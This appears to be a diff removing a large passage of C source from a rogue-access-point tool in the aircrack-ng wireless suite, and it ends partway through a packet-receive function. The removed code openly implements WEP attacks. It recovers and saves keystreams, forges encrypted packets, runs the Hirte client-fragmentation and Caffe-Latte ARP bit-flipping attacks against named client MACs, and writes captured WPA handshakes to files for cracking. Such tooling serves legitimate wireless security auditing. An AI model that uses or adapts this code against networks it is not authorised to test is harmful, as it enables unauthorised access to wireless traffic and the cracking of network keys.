-		crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
-
-	crc = ~crc;
-
-	/* append crc32 over body */
-	text[textlen] = (crc) &0xFF;
-	text[textlen + 1] = (crc >> 8) & 0xFF;
-	text[textlen + 2] = (crc >> 16) & 0xFF;
-	text[textlen + 3] = (crc >> 24) & 0xFF;
-
-	/* cleartext XOR cipher */
-	for (n = 0; n < (textlen + 4); n++)
-	{
-		prga[4 + n] = (text[n] ^ opt.sharedkey[1][28 + n]) & 0xFF;
-	}
-
-	/* write IV+index */
-	prga[0] = opt.sharedkey[1][24] & 0xFF;
-	prga[1] = opt.sharedkey[1][25] & 0xFF;
-	prga[2] = opt.sharedkey[1][26] & 0xFF;
-	prga[3] = opt.sharedkey[1][27] & 0xFF;
-
-	if (opt.f_xor != NULL)
-	{
-		fclose(opt.f_xor);
-		opt.f_xor = NULL;
-	}
-
-	snprintf(ofn,
-			 sizeof(ofn) - 1,
-			 "keystream-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
-			 opt.f_index,
-			 *(opt.sharedkey[0] + m_dmac),
-			 *(opt.sharedkey[0] + m_dmac + 1),
-			 *(opt.sharedkey[0] + m_dmac + 2),
-			 *(opt.sharedkey[0] + m_dmac + 3),
-			 *(opt.sharedkey[0] + m_dmac + 4),
-			 *(opt.sharedkey[0] + m_dmac + 5),
-			 "xor");
-
-	opt.f_index++;
-
-	opt.f_xor = fopen(ofn, "w");
-	if (opt.f_xor == NULL) return 1;
-
-	for (n = 0; n < textlen + 8; n++) fputc((prga[n] & 0xFF), opt.f_xor);
-
-	fflush(opt.f_xor);
-
-	if (opt.f_xor != NULL)
-	{
-		fclose(opt.f_xor);
-		opt.f_xor = NULL;
-	}
-
-	if (!opt.quiet)
-	{
-		PCT;
-		printf("Got %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   textlen + 4,
-			   *(opt.sharedkey[0] + m_dmac),
-			   *(opt.sharedkey[0] + m_dmac + 1),
-			   *(opt.sharedkey[0] + m_dmac + 2),
-			   *(opt.sharedkey[0] + m_dmac + 3),
-			   *(opt.sharedkey[0] + m_dmac + 4),
-			   *(opt.sharedkey[0] + m_dmac + 5));
-	}
-
-	memset(opt.sharedkey, '\x00', 512 * 3);
-	/* ok, keystream saved */
-	return 0;
-}
-
-#define IEEE80211_LLC_SNAP                                                     \
-	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
-
-static int encrypt_data(unsigned char * data, int length)
-{
-	unsigned char cipher[4096];
-	unsigned char K[128];
-
-	if (data == NULL) return 1;
-	if (length < 1 || length > 2044) return 1;
-
-	if (opt.prga == NULL && opt.crypt != CRYPT_WEP)
-	{
-		printf("Please specify a WEP key (-w).\n");
-		return 1;
-	}
-
-	if (opt.prgalen - 4 < length && opt.crypt != CRYPT_WEP)
-	{
-		printf(
-			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
-			(length + 4));
-		return 1;
-	}
-
-	/* encrypt data */
-	if (opt.crypt == CRYPT_WEP)
-	{
-		K[0] = rand() & 0xFF;
-		K[1] = rand() & 0xFF;
-		K[2] = rand() & 0xFF;
-		memcpy(K + 3, opt.wepkey, opt.weplen);
-
-		encrypt_wep(data, length, K, opt.weplen + 3);
-		memcpy(cipher, data, length);
-		memcpy(data + 4, cipher, length);
-		memcpy(data, K, 3);
-		data[3] = 0x00;
-	}
-
-	return 0;
-}
-
-static int create_wep_packet(unsigned char * packet, int * length, int hdrlen)
-{
-	if (packet == NULL) return 1;
-
-	/* write crc32 value behind data */
-	if (add_crc32(packet + hdrlen, *length - hdrlen) != 0) return 1;
-
-	/* encrypt data+crc32 and keep a 4byte hole */
-	if (encrypt_data(packet + hdrlen, *length - hdrlen + 4) != 0) return 1;
-
-	//     /* write IV+IDX right in front of the encrypted data */
-	//     if( set_IVidx(packet) != 0 )                              return 1;
-
-	/* set WEP bit */
-	packet[1] = packet[1] | 0x40;
-
-	*length += 8;
-	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
-
-	return 0;
-}
-
-static int intercept(unsigned char * packet, int length)
-{
-	unsigned char buf[4096];
-	unsigned char K[128];
-	int z = 0;
-
-	memset(buf, 0, 4096);
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (opt.crypt == CRYPT_WEP)
-	{
-		memcpy(K, packet + z, 3);
-		memcpy(K + 3, opt.wepkey, opt.weplen);
-
-		if (decrypt_wep(packet + z + 4, length - z - 4, K, 3 + opt.weplen) == 0)
-		{
-			// ICV check failed!
-			return 1;
-		}
-
-		/* WEP data packet was successfully decrypted, *
-		* remove the WEP IV & ICV and write the data  */
-
-		length -= 8;
-
-		memcpy(packet + z, packet + z + 4, length - z);
-	}
-
-	/* clear wep bit */
-	packet[1] &= 0xBF;
-
-	// insert ethernet header
-	memcpy(buf + 14, packet, length);
-	length += 14;
-
-	ti_write(dev.dv_ti2, buf, length);
-	return 0;
-}
-
-static int packet_xmit(unsigned char * packet, int length)
-{
-	unsigned char buf[4096];
-	int fragments = 1, i;
-	int newlen = 0, usedlen = 0, length2;
-
-	if (packet == NULL) return 1;
-
-	if (length < 38) return 1;
-
-	if (length - 14 > 16 * opt.wif_mtu - MAX_FRAME_EXTENSION) return 1;
-
-	if (length + MAX_FRAME_EXTENSION > opt.wif_mtu)
-		fragments = ((length - 14 + MAX_FRAME_EXTENSION) / opt.wif_mtu) + 1;
-
-	if (fragments > 16) return 1;
-
-	if (fragments > 1)
-		newlen = (length - 14 + MAX_FRAME_EXTENSION) / fragments;
-	else
-		newlen = length - 14;
-
-	for (i = 0; i < fragments; i++)
-	{
-		if (i == fragments - 1)
-			newlen = length - 14
-					 - usedlen; // use all remaining bytes for the last fragment
-
-		if (i == 0)
-		{
-			memcpy(h80211, IEEE80211_LLC_SNAP, 32);
-			memcpy(h80211 + 32, packet + 14 + usedlen, newlen);
-			memcpy(h80211 + 30, packet + 12, 2);
-		}
-		else
-		{
-			memcpy(h80211, IEEE80211_LLC_SNAP, 24);
-			memcpy(h80211 + 24, packet + 14 + usedlen, newlen);
-			//             memcpy(h80211+30, packet+12, 2);
-		}
-
-		h80211[1] |= 0x02;
-		memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
-		memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
-		memcpy(h80211 + 4, packet, 6); // DST_MAC
-
-		//    frag = frame[22] & 0x0F;
-		//    seq = (frame[22] >> 4) | (frame[23] << 4);
-		h80211[22] |= i & 0x0F; // set fragment
-		h80211[1] |= 0x04; // more frags
-
-		if (i == (fragments - 1))
-		{
-			h80211[1] &= 0xFB; // no more frags
-		}
-
-		//         length = length+32-14; //32=IEEE80211+LLC/SNAP;
-		//         14=SRC_MAC+DST_MAC+TYPE
-		length2 = newlen + 32;
-
-		if ((opt.external & EXT_OUT))
-		{
-			memset(buf, 0, 4096);
-			memcpy(buf + 14, h80211, length2);
-			// mark it as outgoing packet
-			buf[12] = 0xFF;
-			buf[13] = 0xFF;
-			ti_write(dev.dv_ti2, buf, length2 + 14);
-			//             return 0;
-		}
-		else
-		{
-			if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
-			{
-				if (create_wep_packet(h80211, &length2, 24) != 0) return 1;
-			}
-
-			send_packet(h80211, length2);
-		}
-
-		usedlen += newlen;
-
-		if ((i + 1) < fragments) usleep(3000);
-	}
-	return 0;
-}
-
-static int packet_recv(unsigned char * packet,
-					   int length,
-					   struct AP_conf * apc,
-					   int external);
-
-static int
-packet_xmit_external(unsigned char * packet, int length, struct AP_conf * apc)
-{
-	unsigned char buf[4096];
-	int z = 0;
-
-	if (packet == NULL) return 1;
-
-	if (length < 40 || length > 3000) return 1;
-
-	memset(buf, 0, 4096);
-	if (memcmp(packet, buf, 11) != 0)
-	{
-		// Wrong header
-		return 1;
-	}
-
-	/* cut ethernet header */
-	memcpy(buf, packet, length);
-	length -= 14;
-	memcpy(packet, buf + 14, length);
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
-	{
-		if (create_wep_packet(packet, &length, z) != 0) return 1;
-	}
-
-	if (memcmp(buf + 12, (unsigned char *) "\x00\x00", 2)
-		== 0) /* incoming packet */
-	{
-		packet_recv(packet, length, apc, 0);
-	}
-	else if (memcmp(buf + 12, (unsigned char *) "\xFF\xFF", 2)
-			 == 0) /* outgoing packet */
-	{
-		send_packet(packet, length);
-	}
-
-	return 0;
-}
-
-static int remove_tag(unsigned char * flags, unsigned char type, int * length)
-{
-	int cur_type = 0, cur_len = 0, len = 0;
-	unsigned char * pos;
-	unsigned char buffer[4096];
-
-	if (*length < 2) return 1;
-
-	if (flags == NULL) return 1;
-
-	pos = flags;
-
-	do
-	{
-		cur_type = pos[0];
-		cur_len = pos[1];
-		//         printf("tag %d with len %d found, looking for tag %d\n",
-		//         cur_type, cur_len, type);
-		//         printf("gone through %d bytes from %d max\n", len+2+cur_len,
-		//         *length);
-		if (len + 2 + cur_len > *length) return 1;
-
-		if (cur_type == type)
-		{
-			if (cur_len > 0 && (pos - flags + cur_len + 2) <= *length)
-			{
-				memcpy(buffer,
-					   pos + 2 + cur_len,
-					   *length - ((pos + 2 + cur_len) - flags));
-				memcpy(pos, buffer, *length - ((pos + 2 + cur_len) - flags));
-				*length = *length - 2 - cur_len;
-				return 0;
-			}
-			else
-				return 1;
-		}
-		pos += cur_len + 2;
-		len += cur_len + 2;
-	} while (len + 2 <= *length);
-
-	return 0;
-}
-
-static unsigned char *
-parse_tags(unsigned char * flags, unsigned char type, int length, int * taglen)
-{
-	int cur_type = 0, cur_len = 0, len = 0;
-	unsigned char * pos;
-
-	if (length < 2) return (NULL);
-
-	if (flags == NULL) return (NULL);
-
-	pos = flags;
-
-	do
-	{
-		cur_type = pos[0];
-		cur_len = pos[1];
-		if (len + 2 + cur_len > length) return (NULL);
-
-		if (cur_type == type)
-		{
-			if (cur_len > 0)
-			{
-				*taglen = cur_len;
-				return pos + 2;
-			}
-			else
-				return (NULL);
-		}
-		pos += cur_len + 2;
-		len += cur_len + 2;
-	} while (len + 2 <= length);
-
-	return (NULL);
-}
-
-static int wpa_client(struct ST_info * st_cur, unsigned char * tag, int length)
-{
-	if (tag == NULL) return 1;
-
-	if (st_cur == NULL) return 1;
-
-	if (tag[0] != 0xDD && tag[0] != 0x30) // wpa1 or wpa2
-		return 1;
-
-	if (tag[0] == 0xDD)
-	{
-		if (length < 24) return 1;
-
-		switch (tag[17])
-		{
-			case 0x02:
-				st_cur->wpahash = 1; // md5|tkip
-				break;
-			case 0x04:
-				st_cur->wpahash = 2; // sha1|ccmp
-				break;
-			default:
-				return 1;
-		}
-
-		st_cur->wpatype = 1; // wpa1
-	}
-
-	if (tag[0] == 0x30 && st_cur->wpatype == 0)
-	{
-		if (length < 22) return 1;
-
-		switch (tag[13])
-		{
-			case 0x02:
-				st_cur->wpahash = 1; // md5|tkip
-				break;
-			case 0x04:
-				st_cur->wpahash = 2; // sha1|ccmp
-				break;
-			default:
-				return 1;
-		}
-
-		st_cur->wpatype = 2; // wpa2
-	}
-
-	return 0;
-}
-
-static int set_clear_arp(unsigned char * buf,
-						 unsigned char * smac,
-						 unsigned char * dmac) // set first 22 bytes
-{
-	if (buf == NULL) return -1;
-
-	memcpy(buf, S_LLC_SNAP_ARP, 8);
-	buf[8] = 0x00;
-	buf[9] = 0x01; // ethernet
-	buf[10] = 0x08; // IP
-	buf[11] = 0x00;
-	buf[12] = 0x06; // hardware size
-	buf[13] = 0x04; // protocol size
-	buf[14] = 0x00;
-	if (memcmp(dmac, BROADCAST, 6) == 0)
-		buf[15] = 0x01; // request
-	else
-		buf[15] = 0x02; // reply
-	memcpy(buf + 16, smac, 6);
-
-	return 0;
-}
-
-static int set_final_arp(unsigned char * buf, unsigned char * mymac)
-{
-	if (buf == NULL) return -1;
-
-	// shifted by 10bytes to set source IP as target IP :)
-
-	buf[0] = 0x08; // IP
-	buf[1] = 0x00;
-	buf[2] = 0x06; // hardware size
-	buf[3] = 0x04; // protocol size
-	buf[4] = 0x00;
-	buf[5] = 0x01; // request
-	memcpy(buf + 6, mymac, 6); // sender mac
-	buf[12] = 0xA9; // sender IP 169.254.87.197
-	buf[13] = 0xFE;
-	buf[14] = 0x57;
-	buf[15] = 0xC5; // end sender IP
-
-	return 0;
-}
-
-static int set_clear_ip(unsigned char * buf, int ip_len) // set first 9 bytes
-{
-	if (buf == NULL) return -1;
-
-	memcpy(buf, S_LLC_SNAP_IP, 8);
-	buf[8] = 0x45;
-	buf[10] = (ip_len >> 8) & 0xFF;
-	buf[11] = ip_len & 0xFF;
-
-	return 0;
-}
-
-static int set_final_ip(unsigned char * buf, unsigned char * mymac)
-{
-	if (buf == NULL) return -1;
-
-	// shifted by 10bytes to set source IP as target IP :)
-
-	buf[0] = 0x06; // hardware size
-	buf[1] = 0x04; // protocol size
-	buf[2] = 0x00;
-	buf[3] = 0x01; // request
-	memcpy(buf + 4, mymac, 6); // sender mac
-	buf[10] = 0xA9; // sender IP from 169.254.XXX.XXX
-	buf[11] = 0xFE;
-	buf[12] = 0x57;
-	buf[13] = 0xC5; // end sender IP
-
-	return 0;
-}
-
-// add packet for client fragmentation attack
-static int addCF(unsigned char * packet, int length)
-{
-	pCF_t curCF = rCF;
-	unsigned char bssid[6];
-	unsigned char smac[6];
-	unsigned char dmac[6];
-	unsigned char keystream[128];
-	unsigned char frag1[128], frag2[128], frag3[128];
-	unsigned char clear[4096], final[4096], flip[4096];
-	int isarp;
-	int z, i;
-
-	if (curCF == NULL) return 1;
-
-	if (packet == NULL) return 1;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (length < z + 8) return 1;
-
-	if (length > 3800)
-	{
-		return 1;
-	}
-
-	if (opt.cf_count >= 100) return 1;
-
-	memset(clear, 0, 4096);
-	memset(final, 0, 4096);
-	memset(flip, 0, 4096);
-	memset(frag1, 0, 128);
-	memset(frag2, 0, 128);
-	memset(frag3, 0, 128);
-	memset(keystream, 0, 128);
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			break;
-	}
-
-	if (is_ipv6(packet))
-	{
-		if (opt.verbose)
-		{
-			PCT;
-			printf("Ignored IPv6 packet.\n");
-		}
-
-		return 1;
-	}
-
-	if (is_dhcp_discover(packet, length - z - 4 - 4))
-	{
-		if (opt.verbose)
-		{
-			PCT;
-			printf("Ignored DHCP Discover packet.\n");
-		}
-
-		return 1;
-	}
-
-	/* check if it's a potential ARP request */
-
-	// its length 68 or 86 and going to broadcast or a unicast mac (even first
-	// byte)
-	if ((length == 68 || length == 86)
-		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
-	{
-		/* process ARP */
-		isarp = 1;
-		// build the new packet
-		set_clear_arp(clear, smac, dmac);
-		set_final_arp(final, opt.r_smac);
-
-		for (i = 0; i < 14; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
-
-		// correct 80211 header
-		packet[0] = 0x08; // data
-		if ((packet[1] & 3) == 0x00) // ad-hoc
-		{
-			packet[1] = 0x40; // wep
-			memcpy(packet + 4, smac, 6);
-			memcpy(packet + 10, opt.r_smac, 6);
-			memcpy(packet + 16, bssid, 6);
-		}
-		else // tods
-		{
-			packet[1] = 0x42; // wep+FromDS
-			memcpy(packet + 4, smac, 6);
-			memcpy(packet + 10, bssid, 6);
-			memcpy(packet + 16, opt.r_smac, 6);
-		}
-		packet[22] = 0xD0; // frag = 0;
-		packet[23] = 0x50;
-
-		// need to shift by 10 bytes; (add 1 frag in front)
-		memcpy(frag1, packet, z + 4); // copy 80211 header and IV
-		frag1[1] |= 0x04; // more frags
-		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
-		frag1[z + 4 + 8] = 0x00;
-		frag1[z + 4 + 9] = 0x01; // ethernet
-		add_crc32(frag1 + z + 4, 10);
-		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
-		/* frag1 finished */
-
-		for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
-
-		add_crc32_plain(flip, length - z - 4 - 4);
-
-		for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
-		packet[22] = 0xD1; // frag = 1;
-
-		// ready to send frag1 / len=z+4+10+4 and packet / len = length
-	}
-	else
-	{
-		/* process IP */
-		isarp = 0;
-		// build the new packet
-		set_clear_ip(clear, length - z - 4 - 8 - 4);
-		set_final_ip(final, opt.r_smac);
-
-		for (i = 0; i < 8; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
-
-		// correct 80211 header
-		packet[0] = 0x08; // data
-		if ((packet[1] & 3) == 0x00) // ad-hoc
-		{
-			packet[1] = 0x40; // wep
-			memcpy(packet + 4, smac, 6);
-			memcpy(packet + 10, opt.r_smac, 6);
-			memcpy(packet + 16, bssid, 6);
-		}
-		else
-		{
-			packet[1] = 0x42; // wep+FromDS
-			memcpy(packet + 4, smac, 6);
-			memcpy(packet + 10, bssid, 6);
-			memcpy(packet + 16, opt.r_smac, 6);
-		}
-		packet[22] = 0xD0; // frag = 0;
-		packet[23] = 0x50;
-
-		// need to shift by 12 bytes;(add 3 frags in front)
-		memcpy(frag1, packet, z + 4); // copy 80211 header and IV
-		memcpy(frag2, packet, z + 4); // copy 80211 header and IV
-		memcpy(frag3, packet, z + 4); // copy 80211 header and IV
-		frag1[1] |= 0x04; // more frags
-		frag2[1] |= 0x04; // more frags
-		frag3[1] |= 0x04; // more frags
-
-		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4);
-		add_crc32(frag1 + z + 4, 4);
-		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
-
-		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
-		add_crc32(frag2 + z + 4, 4);
-		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
-		frag2[22] = 0xD1; // frag = 1;
-
-		frag3[z + 4 + 0] = 0x00;
-		frag3[z + 4 + 1] = 0x01; // ether
-		frag3[z + 4 + 2] = 0x08; // IP
-		frag3[z + 4 + 3] = 0x00;
-		add_crc32(frag3 + z + 4, 4);
-		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
-		frag3[22] = 0xD2; // frag = 2;
-		/* frag1,2,3 finished */
-
-		for (i = 0; i < length; i++) flip[i] = clear[i] ^ final[i];
-
-		add_crc32_plain(flip, length - z - 4 - 4);
-
-		for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
-		packet[22] = 0xD3; // frag = 3;
-
-		// ready to send frag1,2,3 / len=z+4+4+4 and packet / len = length
-	}
-	while (curCF->next != NULL) curCF = curCF->next;
-
-	pthread_mutex_lock(&mx_cf);
-
-	curCF->next = (pCF_t) malloc(sizeof(struct CF_packet));
-	curCF = curCF->next;
-	curCF->xmitcount = 0;
-	curCF->next = NULL;
-
-	if (isarp)
-	{
-		memcpy(curCF->frags[0], frag1, z + 4 + 10 + 4);
-		curCF->fraglen[0] = z + 4 + 10 + 4;
-		memcpy(curCF->final, packet, length);
-		curCF->finallen = length;
-		curCF->fragnum = 1; /* one frag and final frame */
-	}
-	else
-	{
-		memcpy(curCF->frags[0], frag1, z + 4 + 4 + 4);
-		memcpy(curCF->frags[1], frag2, z + 4 + 4 + 4);
-		memcpy(curCF->frags[2], frag3, z + 4 + 4 + 4);
-		curCF->fraglen[0] = z + 4 + 4 + 4;
-		curCF->fraglen[1] = z + 4 + 4 + 4;
-		curCF->fraglen[2] = z + 4 + 4 + 4;
-		memcpy(curCF->final, packet, length);
-		curCF->finallen = length;
-		curCF->fragnum = 3; /* three frags and final frame */
-	}
-
-	opt.cf_count++;
-
-	pthread_mutex_unlock(&mx_cf);
-
-	if (opt.cf_count == 1 && !opt.quiet)
-	{
-		PCT;
-		printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at "
-			   "%d pps.\n",
-			   smac[0],
-			   smac[1],
-			   smac[2],
-			   smac[3],
-			   smac[4],
-			   smac[5],
-			   opt.r_nbpps);
-	}
-
-	if (opt.verbose)
-	{
-		PCT;
-		printf("Added %s packet to cfrag buffer.\n", isarp ? "ARP" : "IP");
-	}
-
-	return 0;
-}
-
-// add packet for caffe latte attack
-static int addarp(unsigned char * packet, int length)
-{
-	unsigned char bssid[6], smac[6], dmac[6];
-	unsigned char flip[4096];
-	int z = 0, i = 0;
-
-	if (packet == NULL) return -1;
-
-	if (length != 68 && length != 86) return -1;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if ((packet[1] & 3) == 0)
-	{
-		memcpy(dmac, packet + 4, 6);
-		memcpy(smac, packet + 10, 6);
-		memcpy(bssid, packet + 16, 6);
-	}
-	else
-	{
-		memcpy(dmac, packet + 4, 6);
-		memcpy(bssid, packet + 10, 6);
-		memcpy(smac, packet + 16, 6);
-	}
-
-	if (memcmp(dmac, BROADCAST, 6) != 0) return -1;
-
-	if (memcmp(bssid, opt.r_bssid, 6) != 0) return -1;
-
-	packet[21] ^= ((rand() % 255) + 1); // Sohail:flip sender MAC address since
-	// few clients do not honor ARP from its
-	// own MAC
-
-	if (opt.nb_arp >= opt.ringbuffer) return -1;
-
-	memset(flip, 0, 4096);
-
-	flip[49 - z - 4]
-		^= ((rand() % 255) + 1); // flip random bits in last byte of sender MAC
-	flip[53 - z - 4]
-		^= ((rand() % 255) + 1); // flip random bits in last byte of sender IP
-
-	add_crc32_plain(flip, length - z - 4 - 4);
-	for (i = 0; i < length - z - 4; i++) (packet + z + 4)[i] ^= flip[i];
-
-	arp[opt.nb_arp].buf = (unsigned char *) malloc(length);
-	arp[opt.nb_arp].len = length;
-	memcpy(arp[opt.nb_arp].buf, packet, length);
-	opt.nb_arp++;
-
-	if (opt.nb_arp == 1 && !opt.quiet)
-	{
-		PCT;
-		printf("Starting Caffe-Latte attack against "
-			   "%02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n",
-			   smac[0],
-			   smac[1],
-			   smac[2],
-			   smac[3],
-			   smac[4],
-			   smac[5],
-			   opt.r_nbpps);
-	}
-
-	if (opt.verbose)
-	{
-		PCT;
-		printf("Added an ARP to the caffe-latte ringbuffer %d/%d\n",
-			   opt.nb_arp,
-			   opt.ringbuffer);
-	}
-
-	return 0;
-}
-
-static int store_wpa_handshake(struct ST_info * st_cur)
-{
-	FILE * f_ivs;
-	struct ivs2_filehdr fivs2;
-	char ofn[1024];
-	struct ivs2_pkthdr ivs2;
-
-	if (st_cur == NULL) return 1;
-
-	fivs2.version = IVS2_VERSION;
-
-	snprintf(ofn,
-			 sizeof(ofn) - 1,
-			 "wpa-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
-			 opt.f_index,
-			 st_cur->stmac[0],
-			 st_cur->stmac[1],
-			 st_cur->stmac[2],
-			 st_cur->stmac[3],
-			 st_cur->stmac[4],
-			 st_cur->stmac[5],
-			 IVS2_EXTENSION);
-
-	opt.f_index++;
-
-	if ((f_ivs = fopen(ofn, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		fprintf(stderr, "Could not create \"%s\".\n", ofn);
-		return (1);
-	}
-
-	if (fwrite(IVS2_MAGIC, 1, 4, f_ivs) != (size_t) 4)
-	{
-		perror("fwrite(IVs file MAGIC) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-
-	if (fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs)
-		!= (size_t) sizeof(struct ivs2_filehdr))
-	{
-		perror("fwrite(IVs file header) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-
-	memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-
-	// write stmac as bssid and essid
-	ivs2.flags = 0;
-	ivs2.len = 0;
-
-	ivs2.len += st_cur->essid_length;
-	ivs2.flags |= IVS2_ESSID;
-
-	ivs2.flags |= IVS2_BSSID;
-	ivs2.len += 6;
-
-	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
-		!= (size_t) sizeof(struct ivs2_pkthdr))
-	{
-		perror("fwrite(IV header) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-
-	if (fwrite(opt.r_bssid, 1, 6, f_ivs) != (size_t) 6)
-	{
-		perror("fwrite(IV bssid) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-	ivs2.len -= 6;
-
-	/* write essid */
-	if (fwrite(st_cur->essid, 1, st_cur->essid_length, f_ivs)
-		!= (size_t) st_cur->essid_length)
-	{
-		perror("fwrite(IV essid) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-
-	// add wpa data
-	ivs2.flags = 0;
-	ivs2.len = 0;
-
-	ivs2.len = sizeof(struct WPA_hdsk);
-	ivs2.flags |= IVS2_WPA;
-
-	if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs)
-		!= (size_t) sizeof(struct ivs2_pkthdr))
-	{
-		perror("fwrite(IV header) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-
-	if (fwrite(&(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs)
-		!= (size_t) sizeof(struct WPA_hdsk))
-	{
-		perror("fwrite(IV wpa_hdsk) failed");
-		fclose(f_ivs);
-		return (1);
-	}
-
-	fclose(f_ivs);
-
-	return 0;
-}
-
-static int packet_recv(unsigned char * packet,
-					   int length,
-					   struct AP_conf * apc,
-					   int external)
-{
-	unsigned char K[64];
-	unsigned char bssid[6];
-	unsigned char smac[6];
-	unsigned char dmac[6];
-	int trailer = 0;
-	unsigned char * tag = NULL;
-	int len, i, c;
-	unsigned char * buffer;
-	char essid[256];
-	struct timeval tv1;
-	u_int64_t timestamp;
-	char fessid[MAX_IE_ELEMENT_SIZE + 1];
-	int seqnum, fragnum, morefrag;
-	int gotsource, gotbssid;
-	int remaining, bytes2use;
-	int reasso, fixed, temp_channel;
-	unsigned z;
-
-	struct ST_info * st_cur = NULL;
-	struct ST_info * st_prv = NULL;
-
-	reasso = 0;
-	fixed = 0;
-	memset(essid, 0, 256);
-
-	pthread_mutex_lock(&mx_cap);
-	if (opt.record_data) capture_packet(packet, length);
-	pthread_mutex_unlock(&mx_cap);
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (packet[0] == 0x88) z += 2; /* handle QoS field */
-
-	if ((unsigned) length < z)
-	{
-		return 1;
-	}
-
-	if (length > 3800)
-	{
-		return 1;
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			break;
-	}
-
-	if ((packet[1] & 3) == 0x03)
-	{
-		/* no wds support yet */
-		return 1;
-	}
-
-	/* MAC Filter */
-	if (opt.filter >= 0)
-	{
-		if (getMACcount(rClient) > 0)
-		{
-			/* filter clients */
-			gotsource = gotMAC(rClient, smac);
-
-			if ((gotsource && opt.filter == BLOCK_MACS)
-				|| (!gotsource && opt.filter == ALLOW_MACS))
-				return 0;
-		}
-		if (getMACcount(rBSSID) > 0)
-		{
-			/* filter bssids */
-			gotbssid = gotMAC(rBSSID, bssid);
-
-			if ((gotbssid && opt.filter == BLOCK_MACS)
-				|| (!gotbssid && opt.filter == ALLOW_MACS))
-				return 0;
-		}
-	}
-
-	/* check list of clients */
-	st_cur = opt.st_1st;
-	st_prv = NULL;
-
-	while (st_cur != NULL)
-	{
-		if (!memcmp(st_cur->stmac, smac, 6)) break;
-
-		st_prv = st_cur;
-		st_cur = st_cur->next;
-	}
-
-	/* if it's a new client, add it */
-
-	if (st_cur == NULL)
-	{
-		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
-		{
-			perror("malloc failed");
-			return (1);
-		}
-
-		memset(st_cur, 0, sizeof(struct ST_info));
-
-		if (opt.st_1st == NULL)
-			opt.st_1st = st_cur;
-		else
-			st_prv->next = st_cur;
-
-		memcpy(st_cur->stmac, smac, 6);
-
-		st_cur->prev = st_prv;
-
-		st_cur->tinit = time(NULL);
-		st_cur->tlast = time(NULL);
-
-		st_cur->power = -1;
-		st_cur->rate_to = -1;
-		st_cur->rate_from = -1;
-
-		st_cur->probe_index = -1;
-		st_cur->missed = 0;
-		st_cur->lastseq = 0;
-		gettimeofday(&(st_cur->ftimer), NULL);
-
-		for (i = 0; i < NB_PRB; i++)
-		{
-			memset(st_cur->probes[i], 0, sizeof(st_cur->probes[i]));
-			st_cur->ssid_length[i] = 0;
-		}
-
